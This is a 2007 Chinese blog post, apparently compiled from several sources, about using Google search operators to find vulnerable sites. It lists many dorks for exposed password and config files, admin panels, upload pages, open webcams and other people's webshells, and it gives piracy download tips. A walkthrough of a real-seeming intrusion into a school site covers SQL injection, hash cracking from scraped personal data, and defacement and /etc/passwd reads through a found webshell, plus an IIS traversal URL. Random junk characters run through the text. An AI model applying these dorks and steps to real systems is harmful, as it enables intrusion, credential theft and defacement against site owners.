空间管理您的位置: 51Testing软件测试网 » 测试者家园[Fish_yy的家园] » 日志

我的地盘我做主！博客：http://tester2test.cnblogs.com/ 　 msn:win_soft@163.com

简单实用的google用法

上一篇 / 下一篇 2007-09-19 11:59:17 / 个人分类：其他

/Fv(re3Q$tj6\|F0

简单实用的google用法

察看基本情况：
2M4o%Zp9HW@0info:xx.org 返回一些基本信息
K7A0MNa0site:xx.org 返回所有与该有关的url`````````````````````````````一般是看他的主要文件和部分目录
1en"XMp2Q2g0link:xx.org 返回所有与该站做了连接的站

fM\%@k0site:xx.org filetype:txt 查找TXT文件其他的依次内推``````TXT，有时候在站里面可以找到ftp密码
\5p W0r#G:[oWNe0
查找后台```````````````````````````````````````````````````````````拿到密码后，或者尝试or，或者看版权时用到51Testing软件测试网S2A1X(cBsw
site:xx.org intext:管理
site:xx.org inurl:login
site:xx.org intitle:后台
!p6Y L(gT*pr1n9f0
wTCLU0PJ?p'G:mF0查看服务器使用的程序``````````````````````````````````````````一般看主机什么系统，对应的马就什么权限
%C!Nf#RpF\*kA0site:xx.org filetype:asp
site:xx.org filetype:php51Testing软件测试网6sD+Y7B%_(kZ.q
site:xx.org filetype:jsp
E`a$H%K.Xdn,g5g0site:xx.org filetype:aspx
)L2u^"S4W5f['@.t0
"[0S4KR6W#uiG0查看上传漏洞：``````````````````````````````````````````````````这可是最爽的拿shell方法
site:xx.org inurl:file
+k"jq!AR0site:xx.org inurl:load51Testing软件测试网V$o I*eN)kH

bn&r5[y5p#vf0查找注射点：`````````````````````````````````````````````````````找注射点最快的方法
site:xx.org filetype:asp

z SmX_JX0以上语法可以复合使用

利用Google突破封锁:下载想要的东西

第一篇突破封锁之电子书、多媒体下载

9],}wh{+gD!z:^0　　在搜索框上输入：
　　 "index of/ " inurl:lib
BH1P[+v)e7C5`:E0　　再按搜索你将进入许多图书馆，并且一定能下载自己喜欢的书籍。51Testing软件测试网9P~]R{f3n

'u:m{*[!x5~,b9p0　　在搜索框上输入：
'Bmy2Z0_Q5G0　　 "index of /" cnki51Testing软件测试网SDwlzI1B
　　再按搜索你就可以找到许多图书馆的CNKI、VIP、超星等入口！

　　在搜索框上输入：
7B'QK,y!u]LG!MtJR0　　"index of /" ppt51Testing软件测试网QC[)Z1pkDO
　　再按搜索你就可以突破网站入口下载powerpint作品！

LU6ags7Bf0　　在搜索框上输入：
5o ?#v5A.^.[5f0　　"index of /" mp351Testing软件测试网4zz/jC@
　　再按搜索你就可以突破网站入口下载mp3、rm等影视作品！51Testing软件测试网({"Y6v r&C]/x

　　在搜索框上输入：
　　"index of /" swf
9GL*Oy-vvJAP a's0　　再按搜索你就可以突破网站入口下载flash作品！51Testing软件测试网#frI5D$t1I

　　在搜索框上输入：
oK]hw3{0　　"index of /" 要下载的软件名
　　再按搜索你就可以突破网站入口下载软件！

8B$Fai!Wj g'v{*k0　　注意引号应是英文的！51Testing软件测试网'P2fLhQ I

h}s0s'q;k0　　再透露一下，如果你输入：
^^h-FtuFvC0　　"index of /" AVI51Testing软件测试网}/t M}-[]8gl
　　这样就可以下载AVI格式的视频文件了喔

C-hmK1bN8@HfR6N4f0　　第二篇突破封锁之看世界51Testing软件测试网_2o|B$iM9~

　　用Google看世界!!!只要你在Google里输入特殊的关键字,就可以搜到数千个摄象头的IP地址!通过他你就可以看到其所摄的实时影象!!

　　在google里输入：
　　inurl:"viewerframe?mode="51Testing软件测试网'w8w;Hd*e.Jo

z9X2[9E\1D0Hso/O0　　随便打开一个,然后按提示装一个插件,就可以看到了!!!51Testing软件测试网YR{'P&r:v6}

　　第三篇突破封锁之Google是黑客的乐园

+@"Xq$kr`/{(I0　　三则黑客的Google搜索技巧简介

　　大家都知道，Google毫无疑问是当今世界上最强大的搜索引擎。然而，在黑客手中，它也是一个秘密武器，它能搜索到一些你意想不到的信息。赛迪编者把他们进行了简单的总结不是希望您利用他去攻击别人的网站，而是利用这些技巧去在浩如烟海的网络信息中，来个大海捞针，寻找到对您有用的信息。

$E.T0x-BAe4~0　　如果您是一名普通网民，您可以使用黑客的技巧扩大自己的视野，提高自己的检索效率；如果您是一名网管，请您赶快看看您的网站是否做好了对下面黑客探测手段的防范措施，如果没有就赶快来个亡羊补牢，毕竟隐患胜于明火，防范胜于救灾；如果您是一名黑客，相信您早以在别的黑客站点上见过类似的方法，这篇文章对您没什么用处，这里的技巧对您是小儿科，菜鸟级！您可以节省宝贵的时间做更有意义的事情，这篇文章您不用看了，到别处去吧！

　2 、查找 PDF 文件

　　现在 GOOGLE 的搜索结果中包括了 PDF 文件。尽管 PDF 文件不如 HTML 文件那么多，但他们经常具备一些其他文件不具备的高质量信息

3x^c}m~H0　　为了显示一个搜索结果是 PDF 文件而不是网页， PDF 文件的标题开头显示蓝色文本。

[5Lw(tc*S)H0　　这就是让你知道 ACRTOBAT READER 程序会启动来阅读文件51Testing软件测试网:],Uj$ca4UC

　　如果你的计算机没装有该程序，计算机会指导你去能免费下载该程序的网页。

n+DZAtmN0　　使用 PDF 文件时，相关的网页快照会由“ TEXT VERSION ”代替，它是 PDF 文档的复制文件，该文件除去了所有格式化命令。51Testing软件测试网C Dbby,^

　　如果你在没有 PDF 链接的情况下想看一系列搜索结果，只要在搜索栏中打上 -inurldf 加上你的搜索条件。51Testing软件测试网mx4g*^$[7{z

　　3 、股票报价51Testing软件测试网D'_lOh+?4NU

　　用 Google 查找股票和共有基金信息，只要输入一个或多个 NYSE ， NASDAQ ， AMEX 或51Testing软件测试网$aDBR*R C
　　共有基金的股票行情自动收录机的代码，也可以输入在股市开户的公司名字。

　　如果 Google 识别出你查询的是股票或者共有基金，它回复的链接会直接连到高质量的金融信息提供者提供的股票和共有基金信息。

^,UU;rZo @L0　　在你搜索结果的开头显示的是你查询的股市行情自动收录器的代码。如果你要查找一家公司的名字（比如， INTEL ），请查看“股票报价”在 Google 搜索结果的金融栏里会有那个公司的主页的链接（比如， www.INTEL.COM ）。51Testing软件测试网fPxL"^p!y(g

&r*vk;qciNE0　　Google 是以质量为基础来选择和决定金融信息提供者的，包括的因素有下载速度，用户界面及其功能。51Testing软件测试网Om7YB%v k

　　4 、找找谁和你链接

　　有些单词如果带有冒号就会有特殊的意思。比如 link ：操作员。查询 link:siteURL ，就会显示所有指向那个 URL 的网页。举例来说，链接 www.Google.com 会向你显示所有指向 GOOGLE 主页的网页。但这种方法不能与关键字查询联合使用。

l5g%}O2Fi.H%E lt0　　5 、查找站点51Testing软件测试网.y"_ v_H2lE

p}'s&N!H#c0　　单词 site 后面如果接上冒号就能够将你的搜索限定到某个网站。具体做法是：在 c 搜索栏中使用 site:sampledomain.com 这个语法结构。比如，在斯坦福找申请信息，输入：
*X0SNb.Tvr_o0　　admission site:www.stanford.edu

　　6 、查找字典释意

\.k+|"U;S7]f1E!?0　　查找字典释意的方法是在搜索栏中输入你要查询的内容。在我们根据要求找到所有的字典释意都会标有下划线，位于搜索结果的上面，点击链接你会找到字典提供者根据要求给出的相关定义。

pIW4u2a07 、用 GOOLGE 查找地图51Testing软件测试网6B7{ A{Jsc

Ew"K!mmh|'d0　　想用 Google 查找街区地图，在 Google 搜索栏中输入美国街区地址，包括邮递区号或城市/州（比如 165 大学大街 PALO ALTO CA ）。通常情况下，街区地址和城市的名字就足够了。51Testing软件测试网a/X&Pz&?

da&Ldh9A0　　当 Google 识别你的要求是查找地图，它会反馈给你有高质量地图提供者提供的链接，使你直接找到相关地图。我们是以质量为基础选择这些地图提供者。值得注意的是 Google 和使用的地图信息提供者没有任何关联。

-_dDuaB#r0搜索URL51Testing软件测试网!E*~y3\"m/z

3_$ViWBsAt0　　比如我们提交这种形式：passwd.txt site:virtualave.net

　　看到了什么？是不是觉得太不可思议了！有很多基于CGI/PHP/ASP 类型的留言板存在这种问题。有时我们得到密码甚至还是明码的！管理员或许太不负责了，或许安全防范的意识太差了，如果你是网络管理员，赶快检查一下不要让恶意攻击者捡了便宜。不要太相信DES加密，即使我们的密码经过DES 加密的密码，黑客们还是可以通过许多破解软件来搞定。

　　这次我们能得到包含密码的文件。“site:virtualave.net”意思是只搜索 virutalave.net 的URL。virutalave.net是一个网络服务器提供商。

R!YfL_u4H/pi0　　同样，我们可以搜索一些顶级域名，比如：.net .org .jp .in .gr

　　config.txt site:.jp51Testing软件测试网.r9tw m.R*i Wl

@$B!kI1N0　　admin.txt site:.tw

　　搜索首页的目录

　　首页是非常有用的，它会提供给你许多有用的信息。

u)xkib0　　我们提交如下的形式：

gJ$]Oc|.@0　　"Index of /admin"

　　"Index of /secret"51Testing软件测试网ot8^.y&A

s$~A:{0E6|)Q0　　"Index of /cgi-bin" site:.edu

　　你可以自己定义搜索的首页字符。这样就可以获得许多信息。

　　搜索特定的文件类型

　　比如你想指定一种文件的类型，可以提交如下形式：51Testing软件测试网k;bG#LJz)z

o;G(dn3U/Z&p.k0　　filetype:.doc site:.mil classified

　　这个就是搜索军方的资料，你可以自定义搜索。

.ow:{E3WAJ0常用的google关键字： 51Testing软件测试网%X n ~g3S6TL
foo1 foo2 (也就是关联，比如搜索xx公司 xx美女)
4rji-t8X|R@0operator:foo
6I/|'|:G G)\"u:g0filetype:123 类型
j%oW^hW8n]Q0site:foo.com 相对直接看网站更有意思，可以得到许多意外的信息
Mrnp!j`e0intext:foo
4QZG)C2^-^$Av4}0intitle: fooltitle 标题哦 51Testing软件测试网0E Xn8]6T&`2p
allinurl:foo 搜索xx网站的所有相关连接。（踩点必备） 51Testing软件测试网 IpI3jdcB
links:foo 不要说就知道是它的相关链接
allintilte:foo.com 51Testing软件测试网e&su!e+NB

aii;Q8i(unf3[#j'_-hB051Testing软件测试网:OL5g(V5@
我们可以辅助"-" "+"来调整搜索的精确程度 51Testing软件测试网h"m,c4D6Ll"IS

直接搜索密码：(引号表示为精确搜索)
当然我们可以再延伸到上面的结果里进行二次搜索 51Testing软件测试网m^%r9X2M,lS
"index of" htpasswd / passwd
Oz!fT+`(}3n'yjX.T-}0filetype:xls username password email
nMFW(f+R0"ws_ftp.log"
"config.php"
)PNyT0u|/c0allinurl:admin mdb
&Y2sXf1nF0service filetype:pwd ....或者某个比如pcanywhere的密码后缀cif等

越来越有意思了，再来点更敏感信息
"robots.txt" "Disallow:" filetype:txt
mDp B%m0inurl:_vti_cnf (FrontPage的关键索引啦，扫描器的CGI库一般都有地) 51Testing软件测试网9PU"NKGLm
allinurl: /msadc/Samples/selector/showcode.asp
n_.w;_ F6\9w0/../../../passwd 51Testing软件测试网}$\(Gl4}k8X7L
/examples/jsp/snp/snoop.jsp
0Q4y\m&E0phpsysinfo
intitle:index of /admin 51Testing软件测试网5^zR6G^ O
intitle:"documetation"
a'eaf _;xk%l eT?r0inurl: 5800(vnc的端口)或者desktop port等多个关键字检索 51Testing软件测试网@0FSL%F8K
webmin port 10000
inurl:/admin/login.asp
7G Nde5F!B[R0intext:Powered by GBook365
d+z)PS\0intitle:"php shell*" "Enable stderr" filetype:php 直接搜索到phpwebshell

foo.org filetype:inc

51Testing软件测试网X4@6i'@!p,Fu
ipsec filetype:conf
intilte:"error occurred" ODBC request where (select|insert) 说白了就是说，可以直接试着查查数据库检索，针对目前流行的sql注射，会发达哦
0?U:YQHfC,o([0"Dumping data for table" username password
BO?)n(w%c}h?0intitle:"Error using Hypernews"
6U3E,^U&XKX}0"Server Software"
l`;yl$I;ME"F*YE(`0intitle:"HTTP_USER_AGENT=Googlebot"
mE,|/]J ^I0"HTTP_USER_ANGET=Googlebot" THS ADMIN
filetype:.doc site:.mil classified 直接搜索军方相关word

ygD!L3]wP8IzL[0检查多个关键字：
V#_5z:f+o_F2O!}LFZ0intitle:config confixx login password 51Testing软件测试网T`8K'^Y;@

}cr7G _n@^V0"mydomain.com" nessus report 51Testing软件测试网0l[,N4G1D7o9\
"report generated by"
"ipconfig"
5F:H2Kc8[*}6e:r@0"winipconfig" 51Testing软件测试网 b$^~-S@8h

google缓存利用（hoho，最有影响力的东西）推荐大家搜索时候多"选搜索所有网站" 51Testing软件测试网~*u'FX j/n0w8j
特别推荐：administrator users 等相关的东西，比如名字，生日等……最惨也可以拿来做字典嘛

w'D9\/UhT0 51Testing软件测试网K%rI&zd

……

/zo&|9Y9Z"^"h&u x0
7W(O1iw/_WiT_ |0一些技巧集合：

1) index.of.password
q_D*oP01) filetype:blt "buddylist" 51Testing软件测试网6e@9Rb MDM_
2) "access denied for user" "using password"
2) intitle:"index of" inurl:ftp (pub | incoming)
@Y Vak&?c%V3Z03) "http://*:*@www" domainname
hr1w2OLR8o.yh03) filetype:cnf inurl:_vti_pvt access.cnf
mLpZD5AT'exQ04) auth_user_file.txt
Kb]Q\`c&VR0C04) allinurl:"/*/_vti_pvt/" | allinurl:"/*/_vti_cnf/"
U3?8y7ZB)y05) The Master List 51Testing软件测试网w*|z.twH
5) inurl:"install/install.php"
6) allinurl: admin mdb
m1@Qd Y9x8L;@b06) intitle:"welcome.to.squeezebox"
7) passlist.txt (a better way)
H)X5hr1a){9V9j07) intext:""BiTBOARD v2.0" BiTSHiFTERS Bulletin Board"
Kb5{*b*nhJn"]ZzR08) "A syntax error has occurred" filetype:ihtml 51Testing软件测试网(sLzR\D C
8) intitle:Login intext:"RT is ? Copyright"
n-D.t ~xC7}%n09) "# -FrontPage-" inurl:service.pwd
4\'S(d4dk,}zd09) ext:php program_listing intitle:MythWeb.Program.Listing
10) ORA-00921: unexpected end of SQL command
7V }K"mvi]-X010) intitle:index.of abyss.conf 51Testing软件测试网-f @QU gdwQ

NO2:
$\U&TOD0--------------------------------------------------------------------------------

google hacking的简单实现
HjP5t7|_0使用google中的一些语法可以提供给我们更多的信息(当然也提供给那些习惯攻击的人更多他们所想要的.),下面就来介绍一些常用的语法.
`[9BMX q0intext: 51Testing软件测试网.@*| bbi{
这个就是把网页中的正文内容中的某个字符做为搜索条件.例如在google里输入:intext:动网.将返回所有在网页正文部分包含"动网"的网页.allintext:使用方法和intext类似.

intitle: 51Testing软件测试网4M5s2D@"Od
和上面那个intext差不多,搜索网页标题中是否有我们所要找的字符.例如搜索:intitle:安全天使.将返回所有网页标题中包含"安全天使"的网 51Testing软件测试网0H1F,x1M"|+u

8W x e3t7\2_a0页.同理allintitle:也同intitle类似.

cache:
v.Y(m9J&O0n.wR0搜索google里关于某些内容的缓存,有时候也许能找到一些好东西哦.

u:_6l5~9tjl0define:
/a&x N8C.PUw0搜索某个词语的定义,搜索:define:hacker,将返回关于hacker的定义. 51Testing软件测试网?s:i{'~*^1Y

filetype: 51Testing软件测试网VLC"xM7v.^L
这个我要重点推荐一下,无论是撒网式攻击还是我们后面要说的对特定目标进行信息收集都需要用到这个.搜索指定类型的文件.例如输入 51Testing软件测试网1u+H s8`$a$j6y

dD Qkw3|5\0:filetype:doc.将返回所有以doc结尾的文件URL.当然如果你找.bak、.mdb或.inc也是可以的,获得的信息也许会更丰富:)

a:{w!f&e7Sy0info:
查找指定站点的一些基本信息.

$d DM @%?m0inurl: 51Testing软件测试网aAW+_.?e:E
搜索我们指定的字符是否存在于URL中.例如输入:inurl:admin,将返回N个类似于这样的连接http://www.xxx.com/xxx/admin,用来找管理员登 51Testing软件测试网e8z|9l|w#oz

&R4pZ0c/C5Yzj0陆的URL不错.allinurl也同inurl类似,可指定多个字符.

h Yxu0Gi']0link: 51Testing软件测试网:t7n&xLdi
例如搜索:inurl:www.4ngel.net可以返回所有和www.4ngel.net做了链接的URL.

0|,N/tQT#He"vb,`e0site: 51Testing软件测试网l$u2b*o0y
这个也很有用,例如:site:www.4ngel.net.将返回所有和4ngel.net这个站有关的URL. 51Testing软件测试网 c:GdB;D ?&u$X

sW7d;nj:Q0
4OMh#h(\+oF0对了还有一些*作符也是很有用的: 51Testing软件测试网JR:u(Y9l3CY
+ 把google可能忽略的字列如查询范围
azt9uA&uM6_0- 把某个字忽略
r'X y!Lc9{B A0~ 同意词
QRq)am|,|0. 单一的通配符
H7YD7MV,r4I a-O0|0* 通配符，可代表多个字母
"" 精确查询

下面开始说说实际应用

.R{]2WF }0以下内容均在google上搜索,对于一个居心叵测的攻击者来说,可能他最感兴趣的就是密码文件了.而google正因为其强大的搜索能力往往会

~ A1X]/P0把一些敏感信息透露给他们.用google搜索以下内容:
`sV3r;F7O&H0intitle:"index of" etc
q9w!E3y8C0intitle:"Index of" .sh_history
So,|+r1ce"]Qj0intitle:"Index of" .bash_history
intitle:"index of" passwd
intitle:"index of" people.lst 51Testing软件测试网j!SU Pa
intitle:"index of" pwd.db 51Testing软件测试网eKE \M5@Z7k
intitle:"index of" etc/shadow
qG*pe#g)A0intitle:"index of" spwd
{.E!z$Sm'D!n{D0intitle:"index of" master.passwd
_0a~"Q0bG0intitle:"index of" htpasswd 51Testing软件测试网u4r aJj9T0u+v
"# -FrontPage-" inurl:service.pwd 51Testing软件测试网"u*Z&nAg
有时候因为各种各样的原因一些重要的密码文件被毫无保护的暴露在网络上,如果被别有用心的人获得,那么危害是很大的

I-_,a"|0fko/Z^0同样可以用google来搜索一些具有漏洞的程序,例如ZeroBoard前段时间发现个文件代码泄露漏洞,可以用google来找网上使用这套程序的站点: 51Testing软件测试网2u(IG?#]kk
intext:ZeroBoard filetype:php
或者使用: 51Testing软件测试网p}W7Ne
inurl:outlogin.php?_zb_path= site:.jp 51Testing软件测试网[^y'cag,S
来寻找我们所需要的页面.phpmyadmin是一套功能强大的数据库*作软件,一些站点由于配置失误,导致我们可以不使用密码直接对phpmyadmin进行*作.我们可以用google搜索存在这样漏洞的程序URL:
intitle:phpmyadmin intext:Create new database

还http://www.xxx.com/_vti_bin/..%5C..%5C..%5C..%5C..%5C../winnt/system32/cmd.exe?dir吗?用google找找，你也许还可以找到很多古董级的机器。同样我们可以用这个找找有其他cgi漏洞的页面。
allinurl：winnt system32

前面已经简单的说过可以用google来搜索数据库文件,用上一些语法来精确查找能够获得更多东西(access的数据库,mssql、mysql的连接文件等等).举个例子示例一下:
2UnI6uI(pSe!_W0allinurl:bbs data
]!W PR6H2r0filetype:mdb inurl:database
s[ Gu$P0G0filetype:inc conn
inurl:data filetype:mdb
'Wf!{o pT0intitle:"index of" data //在一些配置不正确的apache+win32的服务器上经常出现这种情况,和上面的原理一样,我们还可以用google来找后台. 51Testing软件测试网"}V1@-_:G

@W(_a3b,H7r4E0利用google完全是可以对一个站点进行信息收集和渗透的，下面我们用google对特定站点进行一次测试。
7u e+W3E3E?M0首先用google先看这个站点的一些基本情况(一些细节部分就略去了):
C;M#R)up+J W2[0site:xxxx.com
从返回的信息中，找到几个该校的几个系院的域名： 51Testing软件测试网)d Dq I`&lh
http://a1.xxxx.com
9u$Q9pZ+P^8G,Z0http://a2.xxxx.com 51Testing软件测试网#V_R0eq
http://a3.xxxx.com
(u3YqW|8F,t0http://a4.xxxx.com 51Testing软件测试网+F3u(RVQ)a
顺便ping了一下，应该是在不同的服务器.学校一般都会有不少好的资料，先看看有什么好东西没

*AX8sGK/LnUq0site:xxxx.com filetype:doc
/} s]o[]-Rv0得到N个不错的doc。

先找找网站的管理后台地址：
hpZf:_]X'|0site:xxxx.com intext:管理
l \ e)L3S v'GX0site:xxxx.com inurl:login
!M-meW'C W"d0site:xxxx.com intitle:管理
Lb{r+F+`r#m;y0超过获得2个管理后台地址：
4un4AH.D ^r3]3_0http://a2.xxxx.com/sys/admin_login.asp
http://a3.xxxx.com:88/_admin/login_in.asp 51Testing软件测试网 BR3mgN.c_

还算不错，看看服务器上跑的是什么程序：
ZA1h"@%{+{%W4B!U dg0site:a2.xxxx.com filetype:asp
site:a2.xxxx.com filetype:php
8\DK.h.|n0site:a2.xxxx.com filetype:aspx
.vu)x"FmZl0site:a3.xxxx.com filetype:asp
site:.......
l-w` x f'@ {T0......
a2服务器用的应该是IIS，上面用的是asp的整站程序，还有一个php的论坛
S8k/['L3|T0a3服务器也是IIS，aspx+asp。web程序都应该是自己开发的。有论坛那就看看能不能遇见什么公共的FTP帐号什么的：
site:a2.xxxx.com intext:ftp://*:*
n.xK3dzj1fDfyj0没找到什么有价值的东西。再看看有没有上传一类的漏洞：
;w,pMC%FO|0site:a2.xxxx.com inurl:file
\g{vcL,?(p0site:a3.xxxx.com inurl:load
vy~1G4@#kt0在a2上发现一个上传文件的页面： 51Testing软件测试网p[KWS
http://a2.xxxx.com/sys/uploadfile.asp
)P;NQD1[4FPKZ1u&e0用IE看了一下，没权限访问。试试注射，
'}8m0hr|@$@ Q%vr!P0site:a2.xxxx.com filetype:asp
}mjxV.Et)S0得到N个asp页面的地址，体力活就让软件做吧，这套程序明显没有对注射做什么防范，dbowner权限，虽然不高但已足矣，back a shell不太喜

Hr9rMX:_0欢，而且看起来数据库的个头就不小，直接把web管理员的密码暴出来再说，MD5加密过。一般学校的站点的密码都比较有规律，通常都是域名+

电话一类的变形，用google搞定吧。
site:xxxx.com //得到N个二级域名
site:xxxx.com intext:*@xxxx.com //得到N个邮件地址，还有邮箱的主人的名字什么的 51Testing软件测试网:S1l9u7}_3x'_
site:xxxx.com intext:电话 //N个电话
把什么的信息做个字典吧，挂上慢慢跑。过了一段时间就跑出4个帐号，2个是学生会的，1个管理员，还有一个可能是老师的帐号。登陆上去：
?6U)o6N3UV cw0name：网站管理员 51Testing软件测试网R6q7|K7n&m
pass：a2xxxx7619 //说了吧，就是域名+4个数字
5c?e$`tP0要再怎么提权那就不属于本文讨论访问了，呵呵，到此为止。

}9M OB8C+|e0
'kg*|TT"V&I0这段时间在国外的一些google hack的研究站点看了看，其实也都差不多是一些基本语法的灵活运用，或者配合某个脚本漏洞，主要还是靠

个人的灵活思维。国外对于google hack方面的防范也并不是很多，所以大家还是点到为止，不要去搞破坏拉，呵呵。对于一些在win上跑
apache的网管们应该多注意一下这方面，一个intitle:index of就差不多都出来了:) 51Testing软件测试网1\,tC? hc[
1.查找利用php webshell

intitle:"php shell*" "Enable stderr" filetype:php 51Testing软件测试网XR5}E7c

(注: intitle€€网页标题 Enable stderr€€UNIX标准输出和标准错误的缩写filetype€€文件类型)。搜索结果中，你能找到很多直接在机器上执

^%D|;y%f1Hnz~0行命令的web shell来。如果找到的PHPSHELL不会利用，如果你不熟悉UNIX，可以直接看看LIST，这里就不详细说了，有很多利用价值。要说明 51Testing软件测试网-HZ2gK)m

{ P,}PptG0的是，我们这里搜索出来的一些国外的PHPSHELL上都要使用UNIX命令，都是system调用出来的函数(其实用百度及其他搜索引擎都可以，只是填

写搜索的内容不同)。这个PHPWEBSHELL是可以直接Echo(Unix常用命令)。一句话就把首页搞定了:

Y&R"B&C Y!}%`0echo "召唤" > index.jsp

+P[.[[m?j#C3Y(xu"Y0
现在看看首页，已经被我们改成: "召唤" 了。

$t3I&@R&Uw%Hw0我们也可以用WGET上传一个文件上去(比如你要替换的叶子吧)。然后execute Command输入 cat file > index.html or echo "" > file

-[M,`yl Z]z1g&X4f!Ga0echo "test" >> file

!Dzf%Uz0这样一条条打出来，站点首页就成功被替换了。同样的也可以

uname -a;cat /etc/passwd

不过有点要注意，有些WEBSHELL程序有问题，执行不了的，